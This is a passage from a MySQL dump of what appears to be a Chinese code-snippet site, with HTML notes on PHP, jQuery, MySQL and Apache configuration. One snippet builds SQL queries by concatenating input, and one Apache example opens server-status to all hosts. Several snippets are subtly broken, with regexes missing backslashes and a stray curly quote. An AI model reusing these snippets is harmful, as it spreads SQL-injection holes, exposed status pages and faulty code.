allow&nbsp;from&nbsp;127.0.0.1\r\n&lt;/Files&gt;</pre><p>更多详细配置，请查看：<a href=\"https://www.mdaima.com/news/86.html\" _src=\"https://www.mdaima.com/news/86.html\" target=\"_blank\">https://www.mdaima.com/news/86.html</a></p>', '2017-03-01 16:08:44', '3', '1', '10000');
INSERT INTO `lei_daima` VALUES ('14', '字符串与数组间转换', '', '2017-03-01 16:09:05', '4', '0', '10000');
INSERT INTO `lei_daima` VALUES ('15', '日期、时间、时间戳', '<p><strong>获取当前日期：</strong></p><pre class=\"brush:php;toolbar:false\">&lt;?&nbsp;$indate=date(&quot;Y-m-d&nbsp;H:i:s&quot;)&nbsp;;?&gt;</pre><p><strong>获取当前时间戳：</strong><br/></p><pre class=\"brush:php;toolbar:false\">&lt;?=time()?&gt;</pre><p><strong>日期格式化：</strong><br/></p><pre class=\"brush:php;toolbar:false\">&lt;?=date(&quot;Y-m-d&nbsp;H:i:s&quot;,strtotime(&quot;2016-12-12&nbsp;12:12:12&quot;))?&gt;</pre><p><strong>日期N天后或前的日期计算</strong></p><pre class=\"brush:php;toolbar:false\">$date1_search=date(&quot;Y-m-d&quot;,strtotime(&quot;-6&nbsp;day&quot;));//当前日期的6天前的日期\r\n$date1_search=date(&quot;Y-m-d&quot;,strtotime($date1_var)+(86400*$u));//$date1_var为变量，86400为一天的秒数，$u为天数,加前号表示前或后</pre><p><strong>计算两个日期间的天数</strong></p><pre class=\"brush:php;toolbar:false\">function&nbsp;daysbetweendates($date1,&nbsp;$date2){&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;$date1&nbsp;=&nbsp;strtotime($date1);&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;$date2&nbsp;=&nbsp;strtotime($date2);&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;$days&nbsp;=&nbsp;ceil(abs($date1&nbsp;-&nbsp;$date2)/86400);&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$days;&nbsp;\r\n}\r\n$date_num=daysbetweendates($date1_search,&nbsp;$date2_search);</pre><p><strong>附表：</strong><br/></p><pre class=\"brush:html;toolbar:false\">d&nbsp;-&nbsp;一个月中的第几天（从&nbsp;01&nbsp;到&nbsp;31）\r\nD&nbsp;-&nbsp;星期几的文本表示（用三个字母表示）\r\nj&nbsp;-&nbsp;一个月中的第几天，不带前导零（1&nbsp;到&nbsp;31）\r\nl（&#39;L&#39;&nbsp;的小写形式）-&nbsp;星期几的完整的文本表示\r\nN&nbsp;-&nbsp;星期几的&nbsp;ISO-8601&nbsp;数字格式表示（1表示Monday[星期一]，7表示Sunday[星期日]）\r\nS&nbsp;-&nbsp;一个月中的第几天的英语序数后缀（2&nbsp;个字符：st、nd、rd&nbsp;或&nbsp;th。与&nbsp;j&nbsp;搭配使用）\r\nw&nbsp;-&nbsp;星期几的数字表示（0&nbsp;表示&nbsp;Sunday[星期日]，6&nbsp;表示&nbsp;Saturday[星期六]）\r\nz&nbsp;-&nbsp;一年中的第几天（从&nbsp;0&nbsp;到&nbsp;365）\r\nW&nbsp;-&nbsp;用&nbsp;ISO-8601&nbsp;数字格式表示一年中的星期数字（每周从&nbsp;Monday[星期一]开始）\r\nF&nbsp;-&nbsp;月份的完整的文本表示（January[一月份]&nbsp;到&nbsp;December[十二月份]）\r\nm&nbsp;-&nbsp;月份的数字表示（从&nbsp;01&nbsp;到&nbsp;12）\r\nM&nbsp;-&nbsp;月份的短文本表示（用三个字母表示）\r\nn&nbsp;-&nbsp;月份的数字表示，不带前导零（1&nbsp;到&nbsp;12）\r\nt&nbsp;-&nbsp;给定月份中包含的天数\r\nL&nbsp;-&nbsp;是否是闰年（如果是闰年则为&nbsp;1，否则为&nbsp;0）\r\no&nbsp;-&nbsp;ISO-8601&nbsp;标准下的年份数字\r\nY&nbsp;-&nbsp;年份的四位数表示\r\ny&nbsp;-&nbsp;年份的两位数表示\r\na&nbsp;-&nbsp;小写形式表示：am&nbsp;或&nbsp;pm\r\nA&nbsp;-&nbsp;大写形式表示：AM&nbsp;或&nbsp;PM\r\nB&nbsp;-&nbsp;Swatch&nbsp;Internet&nbsp;Time（000&nbsp;到&nbsp;999）\r\ng&nbsp;-&nbsp;12&nbsp;小时制，不带前导零（1&nbsp;到&nbsp;12）\r\nG&nbsp;-&nbsp;24&nbsp;小时制，不带前导零（0&nbsp;到&nbsp;23）\r\nh&nbsp;-&nbsp;12&nbsp;小时制，带前导零（01&nbsp;到&nbsp;12）\r\nH&nbsp;-&nbsp;24&nbsp;小时制，带前导零（00&nbsp;到&nbsp;23）\r\ni&nbsp;-&nbsp;分，带前导零（00&nbsp;到&nbsp;59）\r\ns&nbsp;-&nbsp;秒，带前导零（00&nbsp;到&nbsp;59）\r\nu&nbsp;-&nbsp;微秒（PHP&nbsp;5.2.2&nbsp;中新增的）\r\ne&nbsp;-&nbsp;时区标识符（例如：UTC、GMT、Atlantic/Azores）\r\nI（i&nbsp;的大写形式）-&nbsp;日期是否是在夏令时（如果是夏令时则为&nbsp;1，否则为&nbsp;0）\r\nO&nbsp;-&nbsp;格林威治时间（GMT）的差值，单位是小时（实例：+0100）\r\nP&nbsp;-&nbsp;格林威治时间（GMT）的差值，单位是&nbsp;hours:minutes（PHP&nbsp;5.1.3&nbsp;中新增的）\r\nT&nbsp;-&nbsp;时区的简写（实例：EST、MDT）\r\nZ&nbsp;-&nbsp;以秒为单位的时区偏移量。UTC&nbsp;以西时区的偏移量为负数（-43200&nbsp;到&nbsp;50400）\r\nc&nbsp;-&nbsp;ISO-8601&nbsp;标准的日期（例如&nbsp;2013-05-05T16:34:42+00:00）\r\nr&nbsp;-&nbsp;RFC&nbsp;2822&nbsp;格式的日期（例如&nbsp;Fri,&nbsp;12&nbsp;Apr&nbsp;2013&nbsp;12:01:05&nbsp;+0200）\r\nU&nbsp;-&nbsp;自&nbsp;Unix&nbsp;纪元（January&nbsp;1&nbsp;1970&nbsp;00:00:00&nbsp;GMT）以来经过的秒数</pre><p><br/></p>', '2017-03-01 16:09:16', '4', '1', '15000');
INSERT INTO `lei_daima` VALUES ('16', 'base64_decode与base64_encode加密解密函数', '<pre class=\"brush:php;toolbar:false\">$str=&#39;d3d3LmpiNTEubmV0IOiEmuacrOS5i+Wutg==&#39;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//定义字符串&nbsp;\r\necho&nbsp;base64_decode($str);&nbsp;//输出解码后的内容\r\n\r\n$str=&#39;www.jb51.net&nbsp;脚本之家&#39;;&nbsp;//定义字符串&nbsp;\r\necho&nbsp;base64_encode($str);&nbsp;&nbsp;//&nbsp;输出编码后的内容为：&nbsp;d3d3LmpiNTEubmV0IOiEmuacrOS5i+Wutg==</pre><p><br/></p>', '2017-03-01 16:09:26', '4', '1', '10000');
INSERT INTO `lei_daima` VALUES ('17', 'PHP页面及字符编码转换', '<p>PHP字符编码转换：</p><pre class=\"brush:php;toolbar:false\">iconv(&#39;gbk&#39;,&#39;utf-8&#39;,$message);</pre><p>页面编码</p><pre class=\"brush:php;toolbar:false\">header(&quot;Content-Type:&nbsp;text/html;charset=GB2312&quot;);</pre><p><br/></p>', '2017-03-01 16:09:36', '4', '1', '10000');
INSERT INTO `lei_daima` VALUES ('18', '身份证取生日和性别', '<p><strong>通过身份证获取出生日期：</strong></p><pre class=\"brush:php;toolbar:false\">$birthday=substr($sfz,6,4).&quot;-&quot;.substr($sfz,10,2).&quot;-&quot;.substr($sfz,12,2);</pre><p><strong>通过身份证获取性别：</strong></p><pre class=\"brush:php;toolbar:false\">if&nbsp;(substr($sfz,16,1)&nbsp;%&nbsp;2==0){\r\n&nbsp;&nbsp;&nbsp;&nbsp;$xingbie=&#39;女&#39;;\r\n}else{\r\n&nbsp;&nbsp;&nbsp;&nbsp;$xingbie=&#39;男&#39;;\r\n}</pre><p><br/></p>', '2017-03-01 16:10:01', '4', '1', '15000');
INSERT INTO `lei_daima` VALUES ('20', 'MYSQL最大连接数查询及状态', '<pre class=\"brush:sql;toolbar:false;\">//查看数据库最大连接数，实际MySQL服务器允许的最大连接数16384；\r\nshow&nbsp;variables&nbsp;like&nbsp;&#39;%max_connections%&#39;;\r\n\r\n//设置这个最大连接数值\r\nset&nbsp;GLOBAL&nbsp;max_connections=256;\r\n\r\n//查看服务器响应的最大连接数:\r\nshow&nbsp;global&nbsp;status&nbsp;like&nbsp;&#39;Max_used_connections&#39;;</pre><p><br/></p>', '2017-03-01 16:10:22', '5', '1', '10000');
INSERT INTO `lei_daima` VALUES ('21', '字符串与数组转换，循环输出', '<p><strong>以数组形式提交的表单，获取数组元素并组合成字符串</strong></p><pre class=\"brush:php;toolbar:false\">if&nbsp;($post!=&#39;&#39;)&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;$post_str&nbsp;=&nbsp;&#39;,&#39;.implode(&quot;,&quot;,$post).&#39;,&#39;;//两端带半角逗号，形式闭环字符串\r\n}</pre><p><strong>将字符串转为数组并循环转出：</strong><br/></p><pre class=\"brush:php;toolbar:false\">$keyword_array=explode(&#39;,&#39;,$keyword);\r\n$keyword_str=&#39;&#39;;\r\n\r\nfor&nbsp;($b=0;$b&lt;count($keyword_array);$b++){\r\n	$sql=&quot;select&nbsp;*&nbsp;from&nbsp;abc&nbsp;where&nbsp;id=&#39;&quot;.$keyword_array[$b].&quot;&#39;&nbsp;order&nbsp;by&nbsp;px&quot;;\r\n	$result=$mysqli-&gt;query($sql);\r\n	while&nbsp;($rs=$result-&gt;fetch_assoc()){\r\n		$keyword_str.=$rs[&quot;keyword&quot;].&quot;,&quot;;\r\n	}\r\n}</pre><p><br/></p>', '2017-03-02 09:40:39', '4', '1', '10000');
INSERT INTO `lei_daima` VALUES ('22', '字符串截取、长度、类型判断等', '<p><strong>字符串截取：</strong><br/></p><pre class=\"brush:php;toolbar:false\">if&nbsp;($keyword_str!=&#39;&#39;){\r\n	echo&nbsp;substr($keyword_str,0,-1);//去掉最后一位\r\n}</pre><p><strong>判断指定字符串是否存在：</strong></p><pre class=\"brush:php;toolbar:false\">if&nbsp;(strpos($dh_url,&quot;/jingyan&quot;)!==false){\r\n	$class_2=&#39;class=&quot;dh_focus&quot;&#39;;//存在时的处理\r\n}</pre><p><strong>判断是否为数字及Input格式化为数字：</strong></p><pre class=\"brush:html;toolbar:false\">if&nbsp;(!is_numeric($id)){\r\n	echo&nbsp;&quot;No&nbsp;num&quot;;\r\n	exit;\r\n}\r\n\r\n&lt;input&nbsp;name=&quot;px&quot;&nbsp;type=&quot;text&quot;&nbsp;value=&quot;&quot;&nbsp;onKeyUp=&quot;this.value=this.value.replace(/D/g,&#39;&#39;);&quot;&nbsp;onafterpaste=&quot;this.value=this.value.replace(/D/g,&#39;&#39;)&quot;/&gt;</pre><p><strong>字符串长度：</strong></p><pre class=\"brush:php;toolbar:false\">$str&nbsp;=&nbsp;‘aaaaaa&#39;;\r\n&nbsp;&nbsp;&nbsp;&nbsp;if(strlen($str)&nbsp;&gt;&nbsp;6){\r\n&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;字符串大于6&quot;;\r\n}</pre><p><strong>通过数组判断字符串是否在多个字符串中匹配</strong></p><pre class=\"brush:php;toolbar:false\">&lt;?php\r\n$people&nbsp;=&nbsp;array(&quot;Bill&quot;,&nbsp;&quot;Steve&quot;,&nbsp;&quot;Mark&quot;,&nbsp;&quot;David&quot;);\r\n\r\nif&nbsp;(in_array(&quot;Mark&quot;,&nbsp;$people))\r\n&nbsp;&nbsp;{\r\n&nbsp;&nbsp;echo&nbsp;&quot;匹配已找到&quot;;\r\n&nbsp;&nbsp;}\r\nelse\r\n&nbsp;&nbsp;{\r\n&nbsp;&nbsp;echo&nbsp;&quot;匹配未找到&quot;;\r\n&nbsp;&nbsp;}\r\n?&gt;</pre><p><strong>替换多个空格为一个</strong></p><pre class=\"brush:php;toolbar:false\">$jieguo&nbsp;=&nbsp;preg_replace(&quot;/(s+)/&quot;,&#39;&nbsp;&#39;,$jieguo);</pre><p><br/></p>', '2017-03-02 09:42:23', '4', '1', '13000');
INSERT INTO `lei_daima` VALUES ('23', 'js对字符串格式化', '<p><strong>转整数</strong></p><pre class=\"brush:js;toolbar:false\">parseInt(row)</pre><p><strong>把给定的值转换成数字（可以是整数或浮点数）</strong><br/></p><pre class=\"brush:js;toolbar:false\">Number(value)</pre><p><strong>替换指定字符</strong></p><pre class=\"brush:js;toolbar:false\">var&nbsp;str&nbsp;=&nbsp;&#39;abcadeacf&#39;;\r\nvar&nbsp;str1&nbsp;=&nbsp;str.replace(&#39;a&#39;,&nbsp;&#39;o&#39;);\r\nalert(str1);&nbsp;&nbsp;\r\n//&nbsp;打印结果：&nbsp;obcadeacf&nbsp;\r\n//&nbsp;只会替换第一个匹配的字符\r\n&nbsp;\r\nvar&nbsp;str2&nbsp;=&nbsp;str.replace(/a/g,&nbsp;&#39;o&#39;);\r\nalert(str2);&nbsp;&nbsp;\r\n//打印结果：&nbsp;obcodeocf\r\n//注意：&nbsp;此处replace的第一个参数为正则表达式，/g是全文匹配标识。如特殊字符需转义str.replace(/\\-/g,&quot;o&quot;)</pre><p><br/></p>', '2017-12-20 11:23:49', '1', '1', '50000');
INSERT INTO `lei_daima` VALUES ('24', 'JQ对CSS和属性的设置', '<p><strong>JQ对input属性disabled的设置</strong></p><pre class=\"brush:js;toolbar:false\">//两种方法设置disabled属性&nbsp;\r\n$(&#39;#areaSelect&#39;).attr(&quot;disabled&quot;,true);&nbsp;\r\n$(&#39;#areaSelect&#39;).attr(&quot;disabled&quot;,&quot;disabled&quot;);&nbsp;\r\n\r\n//三种方法移除disabled属性&nbsp;\r\n$(&#39;#areaSelect&#39;).attr(&quot;disabled&quot;,false);&nbsp;\r\n$(&#39;#areaSelect&#39;).removeAttr(&quot;disabled&quot;);&nbsp;\r\n$(&#39;#areaSelect&#39;).attr(&quot;disabled&quot;,&quot;&quot;);</pre><p><strong>1、javascript addClass</strong></p><p>利用document.getElementById(&quot;XX&quot;)找到document对象、然后再通过addClass(&quot;xxx&quot;)修改其class值</p><pre class=\"brush:js;toolbar:false\">document.getElementById(&quot;XX&quot;).addClass(&quot;xxx&quot;);</pre><p><strong>2、addClass()</strong></p><p>addClass()方法向匹配的元素增加指定的类名(一个或多个)、注意对于元素来说、class属性可以有多个值、该方法不会移除已经存在的值、而是在原有的基础上追加一个或多个class属性</p><pre class=\"brush:js;toolbar:false\">$(&quot;.XX&quot;).addClass(&quot;xxx&quot;);</pre><p><strong>3、removeClass()</strong></p><p>removeClass()方法从被选元素移除一个或多个类、如需移除若干类、用空格来分隔类名、如果没有传参数、该方法将会移除被选元素的所有类</p><pre class=\"brush:js;toolbar:false\">$(&quot;.XX&quot;).removeClass(&quot;xxx&quot;);</pre><p><strong>4、toggleClass()</strong></p><p>toggleClass()方法对被选元素的一个或多个类进行切换(设置或移除)、该方法检查每个元素中的指定类、如果存在则删除、如果不存在则添加、通过添加参数,可以设置只进行删除或者只进行添加操作、switch值为true时、只添加、为false时、只删除</p><pre class=\"brush:js;toolbar:false\">$(&quot;.XX&quot;).toggleClass(&quot;xxx&quot;,switch);</pre><p><strong>5、hasClass()</strong></p><p>hasClass()方法检查被选元素是否包含指定的class、还可以用is()方法实现同样的功能、方法参数传入一个选择器字符串、比如”.className”</p><pre class=\"brush:js;toolbar:false\">$(&quot;.XX&quot;).hasClass(&quot;xxx&quot;);</pre><p><strong>6、css()</strong></p><p>读操作：获取匹配元素集合中第一个元素的指定样式值(一个或多个)、读取多个样式值的操作是在jQuery v1.9才加入的</p><p>写操作: 为匹配元素集合中的每一个元素设置一个或多个CSS属性的值、传入的参数可以是单个的键值对、也可以是PlainObject指定的多个值</p><pre class=\"brush:js;toolbar:false\">$(&quot;.XX&quot;).css(&quot;color&quot;,&quot;red&quot;);</pre><p><strong>7、attr()</strong></p><p>attr()方法设置或返回被选元素的属性值、根据该方法不同的参数、其工作方式也有所差异</p><pre class=\"brush:js;toolbar:false\">$(&quot;.XX&quot;).attr(&quot;class&quot;,&quot;abc&nbsp;bcd&nbsp;def&quot;);</pre><p>jQuery会处理各个浏览器中不太相同的一些具体情况、比如W3C的cssFloat在IE中是styleFloat、在jQuery中、你可以使用float、然后jQuery会帮你把它翻译成每个浏览器中应该有的正确名称、还有、jQuery会合理解读CSS和DOM格式的多词属性、比如.css(“background-color”)和.css(“backgroundColor”)、它都是可以处理的</p><p><br/></p>', '2018-01-12 09:04:44', '1', '1', '14000');
INSERT INTO `lei_daima` VALUES ('25', 'PHP判断文件是否存在', '<p><strong>如果图片是空的或是不存在则用指定的替换</strong></p><pre class=\"brush:php;toolbar:false\">if&nbsp;($img==&#39;&#39;&nbsp;||&nbsp;!file_exists($img)&nbsp;){\r\n	$img=&quot;/sc/touxiang.png&quot;;\r\n}</pre>', '2018-01-25 08:26:01', '4', '1', '10000');
INSERT INTO `lei_daima` VALUES ('26', 'MySQL修改root密码的多种方法', '<p><strong>方法1： 用SET PASSWORD命令</strong></p><pre class=\"brush:sql;toolbar:false\">MySQL&nbsp;-u&nbsp;root\r\nmysql&gt;&nbsp;SET&nbsp;PASSWORD&nbsp;FOR&nbsp;&#39;root&#39;@&#39;localhost&#39;&nbsp;=&nbsp;PASSWORD(&#39;newpass&#39;);</pre><p><strong>方法2：用mysqladmin</strong><br/></p><pre class=\"brush:sql;toolbar:false\">mysqladmin&nbsp;-u&nbsp;root&nbsp;password&nbsp;&quot;newpass&quot;</pre><p>如果root已经设置过密码，采用如下方法<br/></p><pre class=\"brush:sql;toolbar:false\">mysqladmin&nbsp;-u&nbsp;root&nbsp;password&nbsp;oldpass&nbsp;&quot;newpass&quot;</pre><p><strong>方法3： 用UPDATE直接编辑user表</strong><br/></p><pre class=\"brush:sql;toolbar:false\">mysql&nbsp;-u&nbsp;root\r\nmysql&gt;&nbsp;use&nbsp;mysql;\r\nmysql&gt;&nbsp;UPDATE&nbsp;user&nbsp;SET&nbsp;Password&nbsp;=&nbsp;PASSWORD(&#39;newpass&#39;)&nbsp;WHERE&nbsp;user&nbsp;=&nbsp;&#39;root&#39;;\r\nmysql&gt;&nbsp;FLUSH&nbsp;PRIVILEGES;</pre><p><strong>在丢失root密码的时候，可以这样</strong></p><pre class=\"brush:sql;toolbar:false\">mysqld_safe&nbsp;--skip-grant-tables&amp;\r\nmysql&nbsp;-u&nbsp;root&nbsp;mysql\r\nmysql&gt;&nbsp;UPDATE&nbsp;user&nbsp;SET&nbsp;password=PASSWORD(&quot;new&nbsp;password&quot;)&nbsp;WHERE&nbsp;user=&#39;root&#39;;\r\nmysql&gt;&nbsp;FLUSH&nbsp;PRIVILEGES;</pre><p>&nbsp; &nbsp;</p><p><br/></p><p><br/></p>', '2018-04-23 08:33:25', '5', '1', '15000');
INSERT INTO `lei_daima` VALUES ('27', '利用ab工具测试apache压力', '<p>利用ab工具测试apache压力</p><pre class=\"brush:xml;toolbar:false\">ab&nbsp;-c800&nbsp;-n10000&nbsp;/&nbsp;-t5&nbsp;http://192.168.1.1</pre><p>-c 并发连接数</p><p>-n总连接数</p><p>-t完成时间，单位秒</p>', '2018-10-23 10:14:31', '3', '1', '11000');
INSERT INTO `lei_daima` VALUES ('28', 'Windows下Apache及Mysql配置并发', '<p style=\"margin-top:0;margin-right:0;margin-bottom:16px;margin-left: 0;line-height:150%;background:white\"><strong>Windows下Apache配置（Httpd.conf）</strong></p><p>开启模块:（仅在需监控服务器性能时开启）</p><pre class=\"brush:xml;toolbar:false\">LoadModule&nbsp;status_module&nbsp;modules/mod_status.so\r\nLoadModule&nbsp;info_module&nbsp;modules/mod_info.so</pre><p>______________________________________________________________________</p><p>启用关联引用文件:</p><p>#Include&nbsp;conf/extra/httpd-mpm.conf（重要）<br/></p><pre class=\"brush:xml;toolbar:false\">&lt;IfModule&nbsp;mpm_winnt_module&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;ThreadsPerChild&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1920&nbsp;&nbsp;#可能会受限制&nbsp;1920\r\n&nbsp;&nbsp;&nbsp;&nbsp;MaxRequestsPerChild&nbsp;&nbsp;&nbsp;&nbsp;0\r\n&lt;/IfModule&gt;</pre><p>______________________________________________________________________</p><p>#Include conf/extra/httpd-default.conf（重要）</p><pre class=\"brush:xml;toolbar:false\">Timeout&nbsp;20\r\n//该参数为连接超时，缺省的300秒显然太大，缩小该参数就会减少同时连接数，即用户实际占用的线程数，这样就可以起到配合上面ThreadsPerChlid参数的作用。\r\nKeepAlive&nbsp;On\r\n//该参数为是否保持活连接，目前网站中一个页面一般会包含多个文件，所以相应用户访问时会有多个请求，因此开启可以提高服务器性能。\r\nMaxKeepAliveRequests&nbsp;50\r\n//该参数为最大的活连接请求数，可以根据网页实际包含的文件数目自行调节。\r\nKeepAliveTimeout&nbsp;5\r\n//该参数为活连接的超时时间，一般只要设置成小于Timeout即可。</pre><p>______________________________________________________________________</p><p>#Include conf/extra/httpd-info.conf（仅在需监控服务器性能时开启）</p><pre class=\"brush:xml;toolbar:false\">&lt;location&nbsp;/server-status&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetHandler&nbsp;server-status&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Order&nbsp;Deny,Allow\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Deny&nbsp;from&nbsp;all\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Allow&nbsp;from&nbsp;10.64.201.251\r\n&lt;/location&gt;\r\n\r\n或者以下形式\r\n\r\n&lt;location&nbsp;/server-info-lilei&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetHandler&nbsp;server-status\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Allow&nbsp;from&nbsp;all\r\n&lt;/location&gt;\r\n\r\nExtendedStatus&nbsp;On</pre><p>配置完成，重新启动apache（注意，不能直接restart，而要先stop，再start）</p><p>可以用http://10.1.1.15/server-status?refresh=N将表示访问状态页面可以每N秒自动刷新一次；（http://10.1.1.5/server-info-lilei）</p><p>Deny&nbsp;from表示禁止的访问地址；</p><p>Allow&nbsp;from表示允许的地址访问；</p><p>ExtendedStatus&nbsp;On&nbsp;表示的是待会访问的时候能看到详细的请求信息，另外该设置仅能用于全局设置，不能在特定的虚拟主机中打开或关闭。启用扩展状态信息将会导致服务器运行效率降低。</p><p style=\"margin-top:21px;margin-right:0;margin-bottom:21px;margin-left: 0;line-height:150%;background:white\"><strong>______________________________________________________________________</strong></p><p style=\"margin-top:21px;margin-right:0;margin-bottom:21px;margin-left: 0;line-height:150%;background:white\"><strong>windows下mysql配置（my.ini）</strong></p><p>max_connections=10000 &nbsp;//可能会受限1910&nbsp;</p><p>table_cache=512 &nbsp; &nbsp; &nbsp; &nbsp; //可能会受限 69（受限appserv，phpstudy不限）</p><pre class=\"brush:xml;toolbar:false\">mysql&gt;&nbsp;show&nbsp;variables&nbsp;like&nbsp;&#39;%max_connections%&#39;;\r\nmysql&gt;&nbsp;show&nbsp;variables&nbsp;like&nbsp;&#39;%table_cache%&#39;;\r\nmysql&gt;&nbsp;show&nbsp;global&nbsp;status&nbsp;like&nbsp;&#39;open%tables%&#39;;&nbsp;//(5.1.3之后这个值叫做table_open_cache)Open_tables：表示当前正在打开的表数目。</pre><p>Opened_tables：表示累计所有已经打开的表数目。</p><p>如果Open_tables的值已经接近table_cache的值，且Opened_tables还在不断变大，则说明mysql正在将缓存的表释放以容纳新的表，此时可能需要加大table_cache的值。</p><p>比较适合的值：</p><p>Open_tables / Opened_tables &gt;= 0.85</p><p>Open_tables / table_cache &lt;= 0.95</p><p>清空缓存：mysql &gt; flush tables;</p><p><br/></p>', '2018-10-31 08:16:00', '3', '1', '10000');
INSERT INTO `lei_daima` VALUES ('29', 'JQ滑动效果锚链接跳转', '<pre class=\"brush:js;toolbar:false\">function&nbsp;go_place(id){\r\n&nbsp;&nbsp;&nbsp;&nbsp;$(&quot;html,body&quot;).animate({scrollTop:($(&quot;#&quot;+id).offset().top-300)},1000);\r\n}</pre><p><br/></p>', '2018-11-19 09:04:56', '1', '1', '10000');
INSERT INTO `lei_daima` VALUES ('30', 'json_encode与json_decode', '<p style=\"border: 0px; margin: 2px 0px; padding: 0px; line-height: 1.8em; color: rgb(51, 51, 51); white-space: normal; background-color: rgb(255, 255, 255); text-align: left; text-indent: 0em;\"><strong>json_encode</strong></p><p>PHP json_encode() 用于对变量进行 JSON 编码，该函数如果执行成功返回 JSON 数据，否则返回 FALSE 。</p><pre class=\"brush:php;toolbar:false\">&lt;?php\r\n&nbsp;&nbsp;&nbsp;$arr&nbsp;=&nbsp;array(&#39;a&#39;&nbsp;=&gt;&nbsp;1,&nbsp;&#39;b&#39;&nbsp;=&gt;&nbsp;2,&nbsp;&#39;c&#39;&nbsp;=&gt;&nbsp;3,&nbsp;&#39;d&#39;&nbsp;=&gt;&nbsp;4,&nbsp;&#39;e&#39;&nbsp;=&gt;&nbsp;5);\r\n&nbsp;&nbsp;&nbsp;echo&nbsp;json_encode($arr);\r\n?&gt;</pre><p>以上代码执行结果为：</p><pre class=\"brush:php;toolbar:false\">{&quot;a&quot;:1,&quot;b&quot;:2,&quot;c&quot;:3,&quot;d&quot;:4,&quot;e&quot;:5}</pre><p>以下实例演示了如何将 PHP 对象转换为 JSON 格式数据：</p><pre class=\"brush:php;toolbar:false\">&lt;?php&nbsp;&nbsp;&nbsp;class&nbsp;Emp&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;$name&nbsp;=&nbsp;&quot;&quot;;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;$hobbies&nbsp;&nbsp;=&nbsp;&quot;&quot;;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;$birthdate&nbsp;=&nbsp;&quot;&quot;;\r\n&nbsp;&nbsp;&nbsp;}\r\n&nbsp;&nbsp;&nbsp;$e&nbsp;=&nbsp;new&nbsp;Emp();\r\n&nbsp;&nbsp;&nbsp;$e-&gt;name&nbsp;=&nbsp;&quot;sachin&quot;;\r\n&nbsp;&nbsp;&nbsp;$e-&gt;hobbies&nbsp;&nbsp;=&nbsp;&quot;sports&quot;;\r\n&nbsp;&nbsp;&nbsp;$e-&gt;birthdate&nbsp;=&nbsp;date(&#39;m/d/Y&nbsp;h:i:s&nbsp;a&#39;,&nbsp;&quot;8/5/1974&nbsp;12:20:03&nbsp;p&quot;);\r\n&nbsp;&nbsp;&nbsp;$e-&gt;birthdate&nbsp;=&nbsp;date(&#39;m/d/Y&nbsp;h:i:s&nbsp;a&#39;,&nbsp;strtotime(&quot;8/5/1974&nbsp;12:20:03&quot;));\r\n&nbsp;&nbsp;&nbsp;echo&nbsp;json_encode($e);\r\n?&gt;</pre><p>以上代码执行结果为：</p><pre class=\"brush:php;toolbar:false\">{&quot;name&quot;:&quot;sachin&quot;,&quot;hobbies&quot;:&quot;sports&quot;,&quot;birthdate&quot;:&quot;08\\/05\\/1974&nbsp;12:20:03&nbsp;pm&quot;}</pre><p style=\"border: 0px; margin: 2px 0px; padding: 0px; line-height: 1.8em; color: rgb(51, 51, 51); white-space: normal; background-color: rgb(255, 255, 255); text-align: left; text-indent: 0em;\"><strong><br/></strong></p><p style=\"border: 0px; margin: 2px 0px; padding: 0px; line-height: 1.8em; color: rgb(51, 51, 51); white-space: normal; background-color: rgb(255, 255, 255); text-align: left; text-indent: 0em;\"><strong>json_decode</strong></p><p>PHP json_decode() 函数用于对 JSON 格式的字符串进行解码，并转换为 PHP 变量。</p><p>以下实例演示了如何解码 JSON 数据：</p><pre class=\"brush:php;toolbar:false\">&lt;?php\r\n&nbsp;&nbsp;&nbsp;$json&nbsp;=&nbsp;&#39;{&quot;a&quot;:1,&quot;b&quot;:2,&quot;c&quot;:3,&quot;d&quot;:4,&quot;e&quot;:5}&#39;;\r\n&nbsp;&nbsp;&nbsp;var_dump(json_decode($json));\r\n&nbsp;&nbsp;&nbsp;var_dump(json_decode($json,&nbsp;true));\r\n?&gt;</pre><p>以上代码执行结果为：</p><pre 